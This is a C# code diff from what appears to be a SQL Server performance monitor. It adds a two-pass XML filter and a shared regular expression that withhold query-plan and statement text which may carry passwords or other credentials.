+        /// <summary>Whether the raw text could hold an auto-parameter token or an element-form
+        /// <c>ParameterizedText</c>: when it cannot, pass 1 returns at the first hit as it always did. Cheap and
+        /// one-sided (a false yes only costs a full read), and an entity-encoded <c>@</c> counts as a yes.</summary>
+        internal static bool MayNeedProbe(string xml)
+        {
+            if (xml.Contains("ParameterizedText>", StringComparison.Ordinal) || HoldsAtReference(xml))
+                return true;
+            for (int i = xml.IndexOf('@'); i >= 0 && i + 1 < xml.Length; i = xml.IndexOf('@', i + 1))
+            {
+                if (xml[i + 1] >= '0' && xml[i + 1] <= '9')
+                    return true;
+            }
+            return false;
+        }
+
+        /// <summary>Whether the text holds a character reference for <c>@</c> (<c>&amp;#64;</c> or <c>&amp;#x40;</c>),
+        /// with any number of leading zeros.</summary>
+        private static bool HoldsAtReference(string xml)
+        {
+            for (int i = xml.IndexOf("&#", StringComparison.Ordinal); i >= 0; i = xml.IndexOf("&#", i + 2, StringComparison.Ordinal))
+            {
+                int j = i + 2;
+                bool hex = j < xml.Length && (xml[j] == 'x' || xml[j] == 'X');
+                if (hex)
+                    j++;
+                while (j < xml.Length && xml[j] == '0')
+                    j++;
+                if (string.CompareOrdinal(xml, j, hex ? "40;" : "64;", 0, 3) == 0)
+                    return true;
+            }
+            return false;
+        }
+
+        private static bool IsWordChar(char c) => char.IsLetterOrDigit(c) || c == '_';
+
+        /// <summary>The next auto-parameter token at or after <paramref name="from"/>: <c>@</c> and digits, not
+        /// preceded by <c>@</c> or a word character, not followed by a word character. A linear loop, no regex.</summary>
+        private static bool NextToken(string text, ref int from, out int start, out int end)
+        {
+            start = end = 0;
+            int i = from < text.Length ? text.IndexOf('@', from) : -1;
+            while (i >= 0)
+            {
+                bool tokenStart = i == 0 || (text[i - 1] != '@' && !IsWordChar(text[i - 1]));
+                int j = i + 1;
+                while (j < text.Length && text[j] >= '0' && text[j] <= '9')
+                    j++;
+                if (tokenStart && j > i + 1 && (j == text.Length || !IsWordChar(text[j])))
+                {
+                    start = i;
+                    end = j;
+                    from = j;
+                    return true;
+                }
+                i = j < text.Length ? text.IndexOf('@', j) : -1;
+            }
+            from = text.Length;
+            return false;
+        }
+
+        /// <summary>The parse-failure rule: the raw text holds an auto-parameter token AND a parameter value
+        /// attribute, so a probe would have been made had the plan parsed.</summary>
+        internal static bool ProbeCouldHaveMattered(string xml) =>
+            (xml.Contains("ParameterCompiledValue", StringComparison.Ordinal)
+                || xml.Contains("ParameterRuntimeValue", StringComparison.Ordinal))
+            && HasToken(xml);
+
+        /// <summary><paramref name="text"/> with every auto-parameter token replaced by <c>N'?'</c>, or null when it
+        /// holds no token.</summary>
+        internal static string? TokensAsPlaceholderValues(string text)
+        {
+            var sb = new StringBuilder(text.Length + 16);
+            int copied = 0;
+            int from = 0;
+            bool any = false;
+            while (NextToken(text, ref from, out int start, out int end))
+            {
+                sb.Append(text, copied, start - copied).Append("N'?'");
+                copied = end;
+                any = true;
+            }
+            if (!any)
+                return null;
+            return sb.Append(text, copied, text.Length - copied).ToString();
+        }
+
+        private static bool HasToken(string text)
+        {
+            int from = 0;
+            return NextToken(text, ref from, out _, out _);
+        }
+
+        /// <summary>The statement as SQL Server would have run it ad hoc: <c>StatementText</c> with every token
+        /// replaced by that statement's compiled value, else its runtime value, else <c>N'?'</c> (also a value
+        /// past the cut, which pass 1 never reached). With <paramref name="preferRuntime"/> the runtime value
+        /// comes first: an actual plan's runtime value is the literal of the run that executed (#5320).
+        /// <paramref name="used"/> collects the tokens the text holds.</summary>
+        private static string ProbeOf(StmtFrame frame, bool preferRuntime, HashSet<string>? used = null)
+        {
+            string text = frame.Text!;
+            var sb = new StringBuilder(text.Length + 16);
+            int copied = 0;
+            int from = 0;
+            while (NextToken(text, ref from, out int start, out int end))
+            {
+                sb.Append(text, copied, start - copied);
+                string value = "N'?'";
+                string token = text.Substring(start, end - start);
+                used?.Add(token);
+                if (frame.Values is not null && frame.Values.TryGetValue(token, out var v))
+                    value = (preferRuntime ? v.Runtime ?? v.Compiled : v.Compiled ?? v.Runtime) ?? "N'?'";
+                sb.Append(value);
+                copied = end;
+            }
+            sb.Append(text, copied, text.Length - copied);
+            return sb.ToString();
+        }
+
+        private static bool IsAutoToken(string name)
+        {
+            if (name.Length < 2 || name[0] != '@')
+                return false;
+            for (int i = 1; i < name.Length; i++)
+            {
+                if (name[i] < '0' || name[i] > '9')
+                    return false;
+            }
+            return true;
+        }
+
+        /// <summary>Judges one finished (or cut) statement's probe; a named one is recorded by ordinal. Three
+        /// readings, any of which names the statement (#5320): the compiled-first probe; a runtime-first probe,
+        /// built only when some value's runtime differs from its compiled one (an actual plan); and each
+        /// auto-parameter value whose token the stored text does not hold (text shorter than the statement),
+        /// judged on its own as text. Application-named parameters stay out.</summary>
+        private bool JudgeProbe(StmtFrame frame)
+        {
+            if (frame.Text is null && frame.Values is null)
+                return false;
+            var used = new HashSet<string>(StringComparer.Ordinal);
+            bool named = false;
+            if (frame.Text is not null)
+            {
+                named = Judge(ProbeOf(frame, preferRuntime: false, used));
+                if (!named && AnyRuntimeDiffers(frame))
+                    named = Judge(ProbeOf(frame, preferRuntime: true));
+            }
+            if (!named && frame.Values is not null)
+            {
+                foreach (var entry in frame.Values)
+                {
+                    if (used.Contains(entry.Key) || !IsAutoToken(entry.Key))
+                        continue;
+                    if ((entry.Value.Compiled is not null && Judge(entry.Value.Compiled))
+                        || (entry.Value.Runtime is not null && Judge(entry.Value.Runtime)))
+                    {
+                        named = true;
+                        break;
+                    }
+                }
+            }
+            if (!named)
+                return false;
+            _probeNamed.Add(frame.Ordinal);
+            return true;
+        }
+
+        private static bool AnyRuntimeDiffers(StmtFrame frame)
+        {
+            if (frame.Values is null)
+                return false;
+            foreach (var v in frame.Values.Values)
+            {
+                if (v.Compiled is not null && v.Runtime is not null && !string.Equals(v.Compiled, v.Runtime, StringComparison.Ordinal))
+                    return true;
+            }
+            return false;
+        }
+
+        private static StmtFrame? InnermostStmt(Stack<OpenElement> open)
+        {
+            foreach (var element in open)
+            {
+                if (element.OwnsValues)
+                    return element.Stmt;
+            }
+            return null;
+        }
+
+        /// <summary>Pass 1: read only. With no auto-parameter token (and no element-form
+        /// <c>ParameterizedText</c>) in the plan it returns at the first named value. Otherwise it keeps reading to
+        /// finish the probe set: each <c>ParameterList</c> column belongs to the innermost open statement, and a
+        /// statement's probe is judged at its end tag, or at the stop (the cut) for every statement still open. After
+        /// the first hit nothing else is judged here; pass 2 judges the rest.</summary>
+        public XmlPassOutcome PassOne(string xml, long cut)
+        {
+            int[]? lineStarts = cut == long.MaxValue ? null : LineStarts(xml);
+            _lineStarts = lineStarts;
+            _passOneStop = long.MaxValue;
+            bool readOn = MayNeedProbe(xml);
+            bool hit = false;
+            _mark = Stopwatch.GetTimestamp();
+            _stmtOrdinal = 0;
+            _probeNamed.Clear();
+            var open = new Stack<OpenElement>();
+            int parameterLists = 0;
+            using var reader = XmlReader.Create(new StringReader(xml), ReaderSettings());
+            var lineInfo = (IXmlLineInfo)reader;
+            try
+            {
+                while (reader.Read())
+                {
+                    if (BudgetSpent())
+                        return XmlPassOutcome.Spent;
+                    var type = reader.NodeType;
+                    if (type == XmlNodeType.Whitespace || type == XmlNodeType.SignificantWhitespace)
+                        continue;
+                    // L-I: stop when the START of this node is past the cut (logical position, never characters
+                    // handed out: the reader reads ahead). Everything after it is cut by the caller.
+                    if (lineStarts is not null && NodeStart(lineInfo, lineStarts, type) > cut)
+                    {
+                        _passOneStop = NodeStart(lineInfo, lineStarts, type);
+                        break;
+                    }
+
+                    switch (type)
+                    {
+                        case XmlNodeType.Element:
+                        {
+                            string local = reader.LocalName;
+                            bool isStmt = IsStatementElement(reader);
+                            bool isColumn = readOn && parameterLists > 0 && local == "ColumnReference";
+                            string? column = null, compiled = null, runtime = null, statementText = null;
+                            if (reader.HasAttributes)
+                            {
+                                for (bool more = reader.MoveToFirstAttribute(); more; more = reader.MoveToNextAttribute())
+                                {
+                                    if (IsNamespaceDeclaration(reader))
+                                        continue;
+                                    string name = reader.LocalName;
+                                    if (readOn)
+                                    {
+                                        if (isStmt && name == "StatementText")
+                                            statementText = reader.Value;
+                                        else if (isColumn && name == "Column")
+                                            column = reader.Value;
+                                        else if (isColumn && name == "ParameterCompiledValue")
+                                            compiled = reader.Value;
+                                        else if (isColumn && name == "ParameterRuntimeValue")
+                                            runtime = reader.Value;
+                                    }
+                                    if (hit || IsExempt(name))
+                                        continue;
+                                    if (JudgeAttribute(name, reader.Value))
+                                    {
+                                        if (!readOn)
+                                            return XmlPassOutcome.Hit;
+                                        hit = true;
+                                    }
+                                }
+                                reader.MoveToElement();
+                            }
+
+                            StmtFrame? frame = null;
+                            if (isStmt)
+                            {
+                                _stmtOrdinal++;
+                                frame = new StmtFrame(_stmtOrdinal,
+                                    statementText is not null && HasToken(statementText) ? statementText : null,
+                                    takesValues: true);
+                            }
+                            else if (isColumn && column is not null)
+                            {
+                                var owner = InnermostStmt(open);
+                                if (owner is not null && owner.TakesValues)
+                                    owner.SetValue(column, compiled, runtime);
+                            }
+
+                            if (reader.IsEmptyElement)
+                            {
+                                if (frame is not null && JudgeProbe(frame))
+                                    hit = true;
+                            }
+                            else
+                            {
+                                open.Push(new OpenElement(local, frame));
+                                if (local == "ParameterList")
+                                    parameterLists++;
+                            }
+                            break;
+                        }
+                        case XmlNodeType.EndElement:
+                        {
+                            if (open.Count == 0)
+                                break;
+                            var closed = open.Pop();
+                            if (closed.Name == "ParameterList")
+                                parameterLists--;
+                            if (closed.Stmt is not null && JudgeProbe(closed.Stmt))
+                                hit = true;
+                            break;
+                        }
+                        case XmlNodeType.Text:
+                        case XmlNodeType.CDATA:
+                        case XmlNodeType.Comment:
+                        case XmlNodeType.ProcessingInstruction:
+                        {
+                            // An element-form ParameterizedText is judged even after the first hit: pass 2 reads the
+                            // statement's start tag before this text, so the statement is recorded by ordinal here.
+                            bool paramText = open.Count > 0 && open.Peek().Name == "ParameterizedText";
+                            if (hit && !paramText)
+                                break;
+                            if (!Judge(reader.Value))
+                                break;
+                            if (!readOn)
+                                return XmlPassOutcome.Hit;
+                            hit = true;
+                            if (paramText)
+                            {
+                                var owner = InnermostStmt(open);
+                                if (owner is not null)
+                                    _probeNamed.Add(owner.Ordinal);
+                            }
+                            break;
+                        }
+                    }
+                }
+
+                // The end of the document or the cut: statements still open are judged with what was read.
+                while (open.Count > 0)
+                {
+                    var closed = open.Pop();
+                    if (closed.Stmt is not null && JudgeProbe(closed.Stmt))
+                        hit = true;
+                }
+                return hit ? XmlPassOutcome.Hit : XmlPassOutcome.Clean;
+            }
+            finally
+            {
+                ChargeParse();
+            }
+        }
+
+        /// <summary>Pass 2 (a hit was found): streams the document into a writer, replacing named values and the
+        /// values of a withheld statement. A budget spent in between returns the whole placeholder.</summary>
+        public string PassTwo(string xml, long cut)
+        {
+            var sb = new StringBuilder(cut == long.MaxValue ? xml.Length + 64 : 1024);
+            var sw = new StringWriter(sb, CultureInfo.InvariantCulture);
+            var writer = XmlWriter.Create(sw, new XmlWriterSettings
+            {
+                ConformanceLevel = ConformanceLevel.Fragment,
+                OmitXmlDeclaration = true,
+                Indent = false,
+                NewLineHandling = NewLineHandling.Entitize,
+                CloseOutput = false,
+                CheckCharacters = false,
+            });
+            _mark = Stopwatch.GetTimestamp();
+            _stmtOrdinal = 0;
+            var open = new Stack<string>();
+            int scopeDepth = -1;
+            using var reader = XmlReader.Create(new StringReader(xml), ReaderSettings());
+            var info2 = (IXmlLineInfo)reader;
+            _pastVetted = false;
+            try
+            {
+                while (reader.Read())
+                {
+                    if (BudgetSpent())
+                        return _placeholder;
+                    if (!_pastVetted && _lineStarts is not null && NodeStart(info2, _lineStarts, reader.NodeType) >= _passOneStop)
+                        _pastVetted = true;
+                    bool scoped = scopeDepth >= 0;
+                    switch (reader.NodeType)
+                    {
+                        case XmlNodeType.XmlDeclaration:
+                            // The declaration is only ever the first node; kept exactly as it was written.
+                            sw.Write("<?xml ");
+                            sw.Write(reader.Value);
+                            sw.Write("?>");
+                            break;
+                        case XmlNodeType.Element:
+                            WriteElement(reader, writer, open, ref scopeDepth);
+                            break;
+                        case XmlNodeType.EndElement:
+                            writer.WriteFullEndElement();
+                            open.Pop();
+                            if (scopeDepth >= 0 && reader.Depth == scopeDepth)
+                                scopeDepth = -1;
+                            break;
+                        case XmlNodeType.Text:
+                            writer.WriteString(TextValue(reader.Value, open.Count > 0 ? open.Peek() : "", scoped));
+                            break;
+                        case XmlNodeType.CDATA:
+                            writer.WriteCData(TextValue(reader.Value, open.Count > 0 ? open.Peek() : "", scoped));
+                            break;
+                        case XmlNodeType.Whitespace:
+                        case XmlNodeType.SignificantWhitespace:
+                            writer.WriteWhitespace(reader.Value);
+                            break;
+                        case XmlNodeType.Comment:
+                            writer.WriteComment(TextValue(reader.Value, "", scoped));
+                            break;
+                        case XmlNodeType.ProcessingInstruction:
+                            writer.WriteProcessingInstruction(reader.Name, TextValue(reader.Value, "", scoped));
+                            break;
+                    }
+
+                    // P3: stop once the output is past the cut. The writer buffers a few KB, so look at the
+                    // length only when it could be near the cut.
+                    if (cut != long.MaxValue && sb.Length + 8192 > cut)
+                    {
+                        writer.Flush();
+                        if (sb.Length > cut)
+                            return sb.ToString();
+                    }
+                }
+                writer.Flush();
+                return sb.ToString();
+            }
+            finally
+            {
+                ChargeParse();
+            }
+        }
+
+        private void WriteElement(XmlReader reader, XmlWriter writer, Stack<string> open, ref int scopeDepth)
+        {
+            string local = reader.LocalName;
+            bool isStmt = IsStatementElement(reader);
+            int ordinal = isStmt ? ++_stmtOrdinal : 0;
+            bool empty = reader.IsEmptyElement;
+            int depth = reader.Depth;
+            bool scoped = scopeDepth >= 0;
+
+            // A statement element opens the scope when its own StatementText or ParameterizedText is named. Its
+            // attributes are judged here, once, ahead of the write, because the scope covers the start tag too.
+            bool? stmtTextVerdict = null;
+            bool? paramTextVerdict = null;
+            bool opens = false;
+            if (isStmt && !scoped && reader.HasAttributes)
+            {
+                for (bool more = reader.MoveToFirstAttribute(); more; more = reader.MoveToNextAttribute())
+                {
+                    if (reader.LocalName == "StatementText")
+                        stmtTextVerdict = Judge(reader.Value);
+                    else if (reader.LocalName == "ParameterizedText")
+                        paramTextVerdict = Judge(reader.Value);
+                }
+                reader.MoveToElement();
+                opens = OpensScope(ordinal, stmtTextVerdict == true || paramTextVerdict == true);
+            }
+            else if (isStmt && !scoped)
+            {
+                opens = OpensScope(ordinal, false);
+            }
+
+            bool inScope = scoped || opens;
+            // P13: a scope opened by the probe alone keeps its own StatementText (parameterized, no literal, the same
+            // text the grids show), even when it holds a quote.
+            bool keepStatementText = opens && stmtTextVerdict != true && paramTextVerdict != true;
+            writer.WriteStartElement(reader.Prefix, local, reader.NamespaceURI);
+            if (reader.HasAttributes)
+            {
+                for (bool more = reader.MoveToFirstAttribute(); more; more = reader.MoveToNextAttribute())
+                {
+                    string value = reader.Value;
+                    if (!IsNamespaceDeclaration(reader))
+                    {
+                        string name = reader.LocalName;
+                        bool? verdict = name == "StatementText" ? stmtTextVerdict
+                            : name == "ParameterizedText" ? paramTextVerdict : null;
+                        value = AttributeValue(name, value, inScope, verdict, keepStatementText && name == "StatementText");
+                    }
+                    writer.WriteStartAttribute(reader.Prefix, reader.LocalName, reader.NamespaceURI);
+                    writer.WriteString(value);
+                    writer.WriteEndAttribute();
+                }
+                reader.MoveToElement();
+            }
+
+            if (empty)
+            {
+                writer.WriteEndElement();
+            }
+            else
+            {
+                open.Push(local);
+                if (opens)
+                    scopeDepth = depth;
+            }
+        }
+
+        /// <summary>What an attribute value is written as. <paramref name="knownVerdict"/> is a verdict already
+        /// taken for this value (the statement text of a statement element), so it is never judged twice.</summary>
+        private string AttributeValue(string name, string value, bool inScope, bool? knownVerdict, bool keep = false)
+        {
+            if (keep)
+                return value;
+            if (!inScope)
+            {
+                if (IsExempt(name))
+                    return _pastVetted ? _placeholder : value;
+                return JudgedValue(name, value, knownVerdict);
+            }
+            if (IsScopeList(name) || WithheldInScope(name, value))
+                return _placeholder;
+            return JudgedValue(name, value, knownVerdict);
+        }
+
+        /// <summary>An attribute value outside the H2 list: the placeholder when named, else a nested plan as its own
+        /// judged rewrite, else the value.</summary>
+        private string JudgedValue(string name, string value, bool? knownVerdict)
+        {
+            if (TooDeep(name, value) || (knownVerdict ?? Judge(value)))
+                return _placeholder;
+            return HoldsNestedPlan(name) ? JudgeNested(value) : value;
+        }
+
+        /// <summary>What a text or CDATA node is written as; <paramref name="parent"/> is its element's local name.</summary>
+        private string TextValue(string value, string parent, bool inScope)
+        {
+            if (inScope && (IsScopeList(parent) || WithheldInScope(parent, value)))
+                return _placeholder;
+            return Judge(value) ? _placeholder : value;
+        }
+
+        private static int[] LineStarts(string text)
+        {
+            var starts = new List<int> { 0 };
+            for (int i = 0; i < text.Length; i++)
+            {
+                char c = text[i];
+                if (c == '\r')
+                {
+                    if (i + 1 < text.Length && text[i + 1] == '\n')
+                        i++;
+                    starts.Add(i + 1);
+                }
+                else if (c == '\n')
+                {
+                    starts.Add(i + 1);
+                }
+            }
+            return starts.ToArray();
+        }
+
+        /// <summary>The offset of the node's first character. A tag's position points past its <c>&lt;</c>, so one
+        /// is taken off for everything but text; the slack in the cut covers the rest.</summary>
+        private static long NodeStart(IXmlLineInfo info, int[] lineStarts, XmlNodeType type)
+        {
+            int line = info.LineNumber;
+            if (line < 1 || line > lineStarts.Length)
+                return 0;
+            long offset = lineStarts[line - 1] + info.LinePosition - 1;
+            return type == XmlNodeType.Text ? offset : offset - 1;
+        }
+    }
+}
diff --git a/PerformanceMonitor.Common/SensitiveStatements.cs b/PerformanceMonitor.Common/SensitiveStatements.cs
new file mode 100644
index 0000000000..c7d02b1bee
--- /dev/null
+++ b/PerformanceMonitor.Common/SensitiveStatements.cs
@@ -0,0 +1,224 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Net;
+
+namespace PerformanceMonitor.Common;
+
+/// <summary>
+/// The one definition of which statement text the monitor withholds (#4348). The pattern is shared by every
+/// place that keeps or shows statement text, for PostgreSQL and T-SQL alike, so two places can never drift
+/// apart on what counts as sensitive.
+///
+/// <para>The pattern is a POSIX ARE evaluated by PostgreSQL's own engine (the <c>~*</c> operator), so a
+/// PostgreSQL store judges text inside SQL without porting the rule. It has no backslash, so it means the same
+/// thing under either <c>standard_conforming_strings</c> setting. Further parts of this class (the .NET
+/// evaluation, XML and JSON handling) live in their own files and declare only their own members.</para>
+///
+/// <para><b>Append-only.</b> The four first alternatives (A1-A4, the PostgreSQL forms) are byte-identical to
+/// the pattern before the T-SQL forms were added, and the T-SQL alternatives (T1-T10) follow them. Every
+/// statement the earlier pattern named is therefore still named.</para>
+/// </summary>
+public static partial class SensitiveStatements
+{
+    /// <summary>What may separate two SQL tokens: whitespace, a block comment or a line comment. Used only by
+    /// <see cref="Pattern"/>, a blocklist, where reading a comment short can only add matches.</summary>
+    private const string TokenGap = "([[:space:]]|/[*]([^*]|[*]+[^*/])*[*]+/|--[^[:cntrl:]]*)";
+
+    /// <summary>
+    /// The statements whose text can carry a credential, as a case-insensitive POSIX regular expression.
+    ///
+    /// <para>A1: any <c>CREATE</c> or <c>ALTER</c> of a role, user, group, subscription or server, withheld by
+    /// name alone, because subscription and foreign-server DDL can carry a connection string in options other
+    /// than a trailing literal. A2: a <c>PASSWORD</c> keyword followed by a literal. A3: a libpq
+    /// <c>password=</c> or <c>PGPASSWORD=</c> setting. A4: a URI's <c>user:secret@</c>.</para>
+    ///
+    /// <para>T1: <c>CREATE</c>/<c>ALTER</c> of a login or credential, by name. T2: database scoped
+    /// credentials. T3: any word ending in password, passwd, pwd or secret, or <c>key_source</c>, followed by a
+    /// literal (including <c>N'</c> and <c>0x</c>). T4: an ODBC or OLE DB <c>PWD=</c> setting that is not a
+    /// parameter. T5: system procedures that take a secret positionally. T6: built-ins that take a pass phrase
+    /// or a key password. T7: <c>OPENDATASOURCE</c>. T8: <c>OPENROWSET</c>'s provider form (not
+    /// <c>OPENROWSET(BULK ...)</c>). T9: a bracketed or double-quoted name ending in password, passwd, pwd or
+    /// secret assigned a literal. T10: a typed declaration of such a name (T3's name set, <c>key_source</c>
+    /// included), so the type sits between the name and the literal (<c>DECLARE @x nvarchar(20) = N'...'</c>,
+    /// <c>x text := '...'</c>): the name, an optional <c>AS</c> or <c>CONSTANT</c>, one type name (plain, dotted
+    /// or bracketed) with an optional length of up to 20 characters in parentheses, then <c>=</c>, <c>:=</c> or <c>DEFAULT</c> and a literal.</para>
+    ///
+    /// <para><b>No backslash, on purpose.</b> <c>[[:&lt;:]]</c>, <c>[[:&gt;:]]</c>, <c>[[:space:]]</c>,
+    /// <c>[*]</c> and <c>[$]</c> spell what a first version wrote with backslash escapes. A normalized
+    /// parameter (<c>password = $1</c>) is not a hit: it carries no value. <c>]</c> and <c>"</c> outside a
+    /// bracket expression are literals.</para>
+    /// </summary>
+    public const string Pattern =
+        "[[:<:]](create|alter)" + TokenGap + "+(role|user|group|subscription|server)[[:>:]]"                    // A1
+        + "|[[:<:]]password[[:>:]]" + TokenGap + "*(=|to)?" + TokenGap + "*(e?'|u&'|[$][^0-9])"                 // A2
+        + "|[[:<:]](pg)?password[[:space:]]*=[[:space:]]*[^$[:space:]]"                                        // A3
+        + "|[a-z][a-z0-9+.-]*://[^[:space:]/@:]+:[^[:space:]/@]+@"                                             // A4
+        + "|[[:<:]](create|alter)" + TokenGap + "+(login|credential)[[:>:]]"                                   // T1
+        + "|[[:<:]]scoped" + TokenGap + "+credential[[:>:]]"                                                   // T2
+        + "|[[:<:]]([a-z0-9_]*(password|passwd|pwd|secret)|key_source)[[:>:]]" + TokenGap + "*(=|to)?"
+            + TokenGap + "*(n?'|e'|u&'|0x|[$][^0-9])"                                                         // T3
+        + "|[[:<:]]pwd[[:space:]]*=[[:space:]]*[^$@[:space:]]"                                                // T4
+        + "|[[:<:]](sp_addlogin|sp_password|sp_addlinkedsrvlogin|sp_addapprole|sp_approlepassword|sp_setapprole"
+            + "|sp_change_users_login|sp_adddistributor|sp_changedistributor_password|sp_adddistpublisher"
+            + "|sp_addsubscriber|sp_link_publication|sp_control_dbmasterkey_password|sp_xp_cmdshell_proxy_account)[[:>:]]" // T5
+        + "|[[:<:]](encryptbypassphrase|decryptbypassphrase|decryptbykeyautocert|decryptbykeyautoasymkey"
+            + "|decryptbyasymkey|decryptbycert|signbycert|signbyasymkey|pwdencrypt|pwdcompare)[[:>:]]"        // T6
+        + "|[[:<:]]opendatasource[[:>:]]"                                                                      // T7
+        + "|[[:<:]]openrowset" + TokenGap + "*[(]" + TokenGap + "*n?'"                                         // T8
+        + "|[[:<:]][a-z0-9_]*(password|passwd|pwd|secret)(]|\")" + TokenGap + "*=" + TokenGap
+            + "*(n?'|e'|u&'|0x)"                                                                              // T9
+        + "|[[:<:]]([a-z0-9_]*(password|passwd|pwd|secret)|key_source)" + TokenGap + "+((as|constant)" + TokenGap + "+)?"
+            + "[[]?[a-z_][a-z0-9_.]*]?([[:space:]]*[(][[:space:]0-9a-z,]{0,20}[)])?" + TokenGap
+            + "*(:?=|default[[:>:]])" + TokenGap + "*(n?'|e'|u&'|0x|[$][^0-9])";                              // T10
+
+    /// <summary>
+    /// How many top-level alternatives at the head of <see cref="Pattern"/> (A1-A4 and T1-T9: thirteen) the .NET
+    /// judge compiles as its first regex. The alternatives after them (T10, and anything appended later) are its
+    /// second regex, and a value is named when either matches (#5320). The split is only about speed: past a size
+    /// the runtime stops optimizing the compiled matcher, and one regex for the whole alternation ran about three
+    /// times slower on a long value than the two halves together. PostgreSQL still reads the one
+    /// <see cref="Pattern"/>. The two parts are cut from that constant when the judge is built, never copied, and
+    /// a test pins that they put back together make exactly <see cref="Pattern"/>. New alternatives are appended
+    /// after T10 (the pattern is append-only), so this number stays 13; if the second part itself grows large
+    /// enough to slow down the same way, cut it again.
+    /// </summary>
+    internal const int JudgeHeadAlternatives = 13;
+
+    /// <summary>What a collector or reader stores or returns in place of a statement <see cref="Pattern"/>
+    /// names. Fixed, so a reader never has to distinguish "withheld" from "not captured yet" by anything other
+    /// than this literal.</summary>
+    public const string PlaceholderText = "-- statement text withheld (#4348)";
+
+    /// <summary>What a plan window says, in place of a plan, for a plan the filter withheld whole (the document's own
+    /// value is <see cref="PlaceholderText"/>). The viewers show it as the empty state and refuse to save the plan with
+    /// it, so "withheld" is never read as "could not be read". One sentence, so the apps and the tests share it.</summary>
+    public const string WithheldPlanSentence = "This plan was withheld by the statement filter (#4348).";
+
+    /// <summary>Whether a plan document is the whole-plan marker (what <see cref="Xml(string?, int)"/> returns for a
+    /// plan it withholds whole) rather than a plan. A real plan is never equal to it.</summary>
+    public static bool IsWithheldPlan(string? planXml) =>
+        planXml is not null && string.Equals(planXml.Trim(), PlaceholderText, StringComparison.Ordinal);
+
+    /// <summary>What <see cref="Json"/> returns when it cannot read a result. Fixed, so a caller can tell a refusal
+    /// from withheld text, and never the input.</summary>
+    public const string JsonRefusal = "Output withheld: the sensitive-statement filter could not read this result.";
+
+    /// <summary>The floor of one read-time budget (the outermost <see cref="Xml"/> or <see cref="Json"/> call; every
+    /// nested value shares it). The budget grows by 0.5 s per 1,048,576 characters of each distinct document it judges,
+    /// up to <see cref="JudgeBudget.MaxLimit"/> (10 s), so a call is bounded by about 10 s plus one value's match
+    /// timeout (#5477).</summary>
+    internal static readonly TimeSpan ReadBudget = TimeSpan.FromMilliseconds(1500);
+
+    /// <summary>
+    /// Judges every value of a plan, report or event XML document (see <see cref="XmlCore"/>) and returns the SAME
+    /// instance when nothing is named. Never throws. A document the read cannot finish inside its budget comes back
+    /// as <see cref="PlaceholderText"/>.
+    /// </summary>
+    /// <param name="xml">The document or fragment.</param>
+    /// <param name="maxOutputChars">The caller will cut the result at this length; work stops once nothing before
+    /// the cut can change.</param>
+    public static string? Xml(string? xml, int maxOutputChars = int.MaxValue) =>
+        string.IsNullOrEmpty(xml) ? xml : Xml(xml, new JudgeBudget(ReadBudget), maxOutputChars);
+
+    /// <summary>
+    /// Judges every string (and key) of a whole tool result (see <see cref="JsonCore"/>) and returns the SAME
+    /// instance when nothing is named. Never throws: a result it cannot read comes back as
+    /// <see cref="JsonRefusal"/>, not as the input.
+    /// </summary>
+    public static string Json(string output) => Json(output, new JudgeBudget(ReadBudget));
+
+    internal const int MemoXml = 0;
+    internal const int MemoJson = 1;
+    internal const int MemoText = 2;
+
+    /// <summary><see cref="Xml(string?, int)"/> under a budget the caller owns, so one outermost call can share it
+    /// across every value it judges. A budget-taking entry point (#5477): the document earns the budget its time and
+    /// is judged once, so a repeat of the same text returns the first result.</summary>
+    internal static string? Xml(string? xml, JudgeBudget budget, int maxOutputChars = int.MaxValue)
+    {
+        if (string.IsNullOrEmpty(xml)) return xml;
+        if (budget.TryRecall(MemoXml, xml, maxOutputChars, out var recalled)) return recalled;
+        // A capped call judges only up to the cut (and its slack), so only that much earns time (#5477).
+        budget.Earn(maxOutputChars == int.MaxValue ? xml.Length : (int)Math.Min(xml.Length, (long)maxOutputChars + XmlCutSlack));
+        var result = XmlWalk(xml, budget, maxOutputChars);
+        budget.Remember(MemoXml, xml, maxOutputChars, result);
+        return result;
+    }
+
+    /// <summary>The walk itself. Nested values inside a document come here, so they neither earn nor memo (#5477).</summary>
+    private static string? XmlWalk(string? xml, JudgeBudget budget, int maxOutputChars)
+    {
+        if (string.IsNullOrEmpty(xml)) return xml;
+        if (RawTextHoldsNothingNamed(budget, xml)) return xml;
+        try
+        {
+            return XmlCore(
+                xml,
+                value => IsNamedUnder(budget, value),
+                () => budget.Spent,
+                PlaceholderText,
+                budget.AddElapsed,
+                maxOutputChars);
+        }
+#pragma warning disable CA1031 // fail closed
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+            return PlaceholderText;
+        }
+    }
+
+    /// <summary><see cref="Json(string)"/> under a budget the caller owns. A budget-taking entry point (#5477): the
+    /// whole result earns the budget its time once, and the values and XML documents inside it neither earn nor memo.</summary>
+    internal static string Json(string output, JudgeBudget budget)
+    {
+        if (string.IsNullOrEmpty(output)) return JsonWalk(output, budget);
+        if (budget.TryRecall(MemoJson, output, 0, out var recalled)) return recalled!;
+        budget.Earn(output.Length);
+        var result = JsonWalk(output, budget);
+        budget.Remember(MemoJson, output, 0, result);
+        return result;
+    }
+
+    private static string JsonWalk(string output, JudgeBudget budget) =>
+        JsonCore(output, value => TextWalk(budget, value), value => XmlWalk(value, budget, int.MaxValue), JsonRefusal);
+
+    /// <summary>True when <paramref name="value"/>, or its HTML-decoded form, is named or not judged in time.</summary>
+    private static bool IsNamedUnder(JudgeBudget budget, string value) =>
+        budget.Judge(value) != Verdict.Clean
+        || (value.Contains('&', StringComparison.Ordinal) && budget.Judge(WebUtility.HtmlDecode(value)) != Verdict.Clean);
+
+    /// <summary><see cref="Text(string?)"/> under a budget: a spent budget or a failed match gives the marker.</summary>
+    internal static string? TextUnder(JudgeBudget budget, string? value)
+    {
+        if (string.IsNullOrEmpty(value)) return value;
+        if (budget.TryRecall(MemoText, value, 0, out var recalled)) return recalled;
+        budget.Earn(value.Length);
+        var result = TextWalk(budget, value);
+        budget.Remember(MemoText, value, 0, result);
+        return result;
+    }
+
+    /// <summary>The judge for one value inside a walk: no earning and no memo (#5477).</summary>
+    private static string? TextWalk(JudgeBudget budget, string? value)
+    {
+        if (string.IsNullOrEmpty(value)) return value;
+        try
+        {
+            return IsNamedUnder(budget, value) ? PlaceholderText : value;
+        }
+#pragma warning disable CA1031 // fail closed
